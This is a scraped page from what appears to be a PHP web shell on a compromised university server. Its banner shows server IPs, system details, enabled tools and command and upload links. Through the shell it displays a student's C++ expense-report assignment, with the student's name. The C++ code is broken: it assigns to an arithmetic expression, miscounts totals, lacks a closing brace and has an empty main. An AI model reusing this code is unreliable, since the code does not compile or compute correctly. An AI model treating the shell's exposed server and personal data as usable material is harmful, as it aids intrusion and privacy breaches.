Server IP : 172.16.15.8 / Your IP : 18.191.178.16 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/jdwaltersdorf/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
//------------------------------------ // James Waltersdorf // // CS112 assignment 6 // // Prof. Ames // //------------------------------------ #include <iostream> #include <iomanip> using namespace std; const int MAXEMPLOYEES = 30; //-----Sets the contents of both arrays to 0--------------------------- void initializearrays (float expenses[], int expensecounts[], int numemployees) { cin >> numemployees; for (int i = 0; i < numemployees; i++) expenses[i] = 0; for (int i = 0; i < MAXEMPLOYEES; i++) expensecounts[i] = 0; } //-----Inputs the "expense slips" from data file and tallies them------ void tallyexpenses (float expenses[], float anexpense, int expensecounts[], int numemployees, int idnum) { cin >> numemployees; cin >> idnum; while (idnum != -1) { cin >> anexpense; expensecounts[idnum]++; expenses[idnum]+=anexpense; cin >> idnum; } } //-----uses the arrays from tally expenses to produce a summary report- void reportexpenses (float expenses[], int expensecounts[], int numemployees, int idnum, float avgexpense) { cout <<" Expense Summary Report \n\n "; cout <<" Employee ID # of Expenses Expense Total Average Expense \n"; for (int i = 0; i < MAXEMPLOYEES; i++) { cout << idnum <<"\n"; cout <<expensecounts[i] + expensecounts[i] <<"\n"; expenses[i] += expenses[i]; cout << expenses[i] <<"\n"; expenses[i] / expensecounts[i] = avgexpense; cout << avgexpense << "\n"; } cout <<" Totals "; //-----Main function int main() { return 0; }